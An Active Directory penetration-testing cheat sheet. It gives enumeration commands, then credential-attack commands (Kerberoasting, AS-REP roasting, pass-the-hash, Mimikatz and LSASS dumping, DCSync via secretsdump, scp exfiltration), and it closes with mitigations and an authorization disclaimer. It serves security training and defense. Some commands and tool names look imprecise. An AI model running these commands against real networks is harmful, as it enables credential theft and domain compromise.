Active Directory Pentesting Cheatsheet
This cheat sheet provides a quick reference for common Active Directory pentesting techniques. Remember to always obtain proper authorization before conducting any penetration testing activities.
I. Reconnaissance & Enumeration
A. Basic Reconnaissance (Host & Network)
- Ping:
ping <domain> - Identify domain controllers and general network topology.
ipconfig /all (Windows): Reveals DNS servers, domain membership, and other network information.
ifconfig / ip addr (Linux): Same as ipconfig /all for Linux.
nslookup <domain>: Query DNS servers for domain information, including SRV records.
nbtstat -A <IP>: Attempt to identify the NetBIOS name of a remote host. Often reveals domain name. (Legacy protocol)
B. LDAP Enumeration (Active Directory Queries)
ldapsearch -x -h <DC_IP> -b "DC=<domain_component>,DC=<domain_component>..." -D "<user@domain>" -w <password> <filter> (Linux)
-x: Simple authentication. Avoid in production.
-h <DC_IP>: Domain Controller IP.
-b <base_DN>: Base Distinguished Name (e.g., "DC=example,DC=com"). Find this using nltest /dsgetdc:domain.
-D "<user@domain>": User DN (e.g., "CN=user,OU=users,DC=example,DC=com"). Often just "@".
-w <password>: User password.
<filter>: LDAP filter (e.g., (objectClass=user)).
- Example:
ldapsearch -x -h 10.0.0.1 -b "DC=example,DC=com" -D "pentester@example.com" -w P@sswOrd123 '(objectClass=user)' - Lists all users.
- PowerShell (Import-Module ActiveDirectory): Requires being a domain member.
Get-ADDomainController: Get information about Domain Controllers.
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, UserPrincipalName, Enabled, PasswordLastSet: Lists users and their properties.
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, OperatingSystemServicePack: Lists computers.
Get-ADGroup -Filter * -Properties * | Select-Object Name, GroupCategory, GroupScope: Lists groups.
Get-ADObject -LDAPFilter "(objectCategory=groupPolicyContainer)" -SearchBase 'CN=Policies,CN=System,DC=example,DC=com' Lists Group Policy Objects (GPOs). (Replace example.com with your domain).
- Tools:
BloodHound: Collects information about Active Directory relationships and uses graph theory to identify privilege escalation paths. Requires ingestors like SharpHound.
enum4linux (Linux): Script that automates many enumeration tasks (user lists, group memberships, etc.).
kerbrute: A brute-force tool for discovering and validating Active Directory usernames.
ADFind (Windows): Command-line tool for querying Active Directory (similar to ldapsearch, but designed for Windows).
Nmap: Use Nmap scripts for AD enumeration (e.g., nmap --script ldap-* <target>).
C. Key Enumeration Techniques:
- User Enumeration: Identify valid usernames. Use Kerbrute, password spraying, or LDAP queries.
- Group Enumeration: Determine group memberships. Crucial for identifying potential privilege escalation paths.
- Computer Enumeration: Identify domain-joined computers. Determine operating systems and installed software.
- Password Policy Enumeration: Understand password complexity requirements.
Get-ADDefaultDomainPasswordPolicy (PowerShell)
ldapsearch -x -h <DC_IP> -b "CN=Default Domain Policy,CN=Policies,CN=System,DC=example,DC=com" -D "<user@domain>" -w <password> "(objectClass=msDS-PasswordPolicy)"
- Group Policy Object (GPO) Enumeration: Identify GPOs and their settings. GPOs can contain sensitive information (e.g., passwords, scripts).
- SPN Enumeration (Service Principal Names): Discover services running with privileged accounts. Use
SetSPN -Q */<hostname> or PowerShell Get-SPN.
II. Credential Access & Exploitation
A. Password Attacks:
- Kerberoasting: Request Kerberos tickets for services running as privileged accounts and crack the tickets offline.
Rubeus.exe kerberoast /domain:<domain> /outfile:kerberoast.txt (requires Rubeus)
GetUserSPNs.py <domain>/<user>:<password> -request (impacket)
- Crack with
hashcat -m 13100 kerberoast.txt <wordlist>
- AS-REP Roasting: If a user account has the "Do not require Kerberos preauthentication" option enabled, an attacker can request a TGT (Ticket Granting Ticket) and crack it offline.
GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <DC_IP> (impacket)
- Crack with
hashcat -m 18200 asreproast.txt <wordlist>
- Password Spraying: Attempt to use a common password against multiple user accounts to avoid account lockout.
- Use tools like
SprayKit or custom scripts.
- Pass-the-Hash (PtH): Use NTLM hashes to authenticate to services instead of the actual password.
psexec.py <domain>/<user>:@<target_ip> cmd.exe (impacket)
evil-winrm -i <target_ip> -u <user> -H <NTLM_hash> (evil-winrm)
- Pass-the-Ticket (PtT): Use Kerberos tickets to authenticate to services.
Rubeus.exe ptt /ticket:<ticket_blob> /domain:<domain> (requires Rubeus)
- Credential Dumping: Extract credentials from memory.
Mimikatz: A powerful tool for extracting credentials. privilege::debug, sekurlsa::logonpasswords, lsadump::dcsync, lsadump::secrets
procdump.exe -ma lsass.exe lsass.dmp: Dump the LSASS process to disk for offline analysis with Mimikatz.
CrackMapExec: Can be used to dump credentials from multiple machines at once.
B. Exploiting Group Policy Objects (GPOs):
- GPO Manipulation: Modify GPOs to execute malicious code on target machines. Requires "Edit settings, delete and modify security" permissions on the GPO.
- Scheduled Tasks: Create a scheduled task in a GPO to execute a script.
- Startup Scripts: Modify the startup script to execute malicious code.
- Software Installation: Use GPOs to deploy malicious software.
- GPO Permissions Exploitation: Exploit misconfigured GPO permissions to gain control over target machines. Look for users who can modify GPOs that apply to critical systems.
C. Domain Dominance Techniques:
- Golden Ticket Attack: Forge a Kerberos Ticket Granting Ticket (TGT) that provides access to any resource in the domain. Requires the krbtgt account's NTLM hash.
- Silver Ticket Attack: Forge a Kerberos Ticket Granting Service (TGS) for a specific service. Requires the service account's NTLM hash.
- DCSync: Replicate credentials from a Domain Controller. Requires Domain Admin privileges or SeReplicateDirectoryChanges permission.
Mimikatz: lsadump::dcsync /domain:<domain> /user:<user>
secretsdump.py <domain>/<user>:<password>@<DC_IP> (impacket)
- DCShadow: Register a rogue Domain Controller to inject malicious changes into Active Directory.
III. Post Exploitation
- Persistence: Establish persistent access to the domain.
- Skeleton Key: Installs a "master password" on all domain controllers.
- DSRM (Directory Services Restore Mode) Backdoor: Modifying the DSRM account for persistent access.
- Scheduled Tasks: Create scheduled tasks to execute malicious code.
- WMI Events: Use WMI to execute code when specific events occur.
- Lateral Movement: Move between systems to gain access to critical resources.
- SMB: Utilize SMB for file sharing and command execution.
- WMI: Use WMI to execute commands on remote systems.
- PSExec: Execute commands on remote systems using the PsExec tool.
- Kerberos Delegation: Exploit misconfigured Kerberos delegation settings.
- Data Exfiltration: Extract sensitive data from the domain.
- Compress data:
7z a -t7z archive.7z <files>
- SCP: Securely copy files from the compromised machine.
scp <user>@<target_ip>:<file_path> <local_path>
- PowerShell: Send data over HTTP.
IV. Tools
- Mimikatz: (Windows) Credential dumping, Kerberos attacks, and more.
- BloodHound: (Cross-Platform) AD relationship analysis.
- SharpHound: (Windows/.NET) BloodHound data ingestor.
- Rubeus: (Windows/.NET) Kerberos abuse toolkit.
- Impacket: (Python) Network protocols implementation, including SMB, Kerberos, LDAP.
- CrackMapExec (CME): (Python) Penetration testing tool for Active Directory.
- PowerShell (Active Directory Module): (Windows) Native AD management and enumeration.
- Kerbrute: (Go) Kerberos user enumeration.
- Evil-WinRM: (Ruby) Ultimate WinRM shell for hacking/pentesting.
- ldapsearch: (Linux) LDAP query tool.
- enum4linux: (Linux) Windows and Samba enumeration tool.
- Nmap: (Cross-Platform) Port scanning and service enumeration.
- ADFind: (Windows) Active Directory command-line query tool.
- 7-Zip: (Cross-Platform) Archiving tool for compression.
V. Important Considerations & Mitigation
- Least Privilege: Implement the principle of least privilege to limit user access.
- Account Lockout Policies: Configure account lockout policies to prevent brute-force attacks.
- Password Complexity Requirements: Enforce strong password complexity requirements.
- Multi-Factor Authentication (MFA): Implement MFA for all users, especially privileged accounts.
- Privileged Access Management (PAM): Implement a PAM solution to manage privileged access.
- Monitor Active Directory: Monitor Active Directory for suspicious activity. Use SIEM solutions.
- Patch Management: Keep systems up to date with the latest security patches.
- Regular Security Assessments: Conduct regular security assessments and penetration tests.
- Credential Guard: Enable Credential Guard to protect credentials from theft.
- Attack Surface Reduction (ASR) Rules: Configure ASR rules in Defender to block common attack vectors.
- Audit Logging: Ensure comprehensive audit logging is enabled to detect and investigate suspicious activity.
- Disable SMBv1: SMBv1 is outdated and vulnerable. Disable it.
- Restrict Remote Desktop Access: Limit Remote Desktop access to necessary users.
- Secure Group Policy: Secure Group Policy objects to prevent unauthorized modification.
- Practice Proper Segmentation: Segment your network to limit the impact of a potential breach.
VI. Disclaimer
This cheat sheet is for educational purposes only. It is not intended to be used for illegal or unethical activities. Always obtain proper authorization before conducting any penetration testing activities. The information in this cheat sheet is provided "as is" and without warranty of any kind. The user assumes all risks associated with the use of this information.
This is a living document and will be updated periodically. Stay informed about the latest Active Directory security threats and vulnerabilities. Good luck!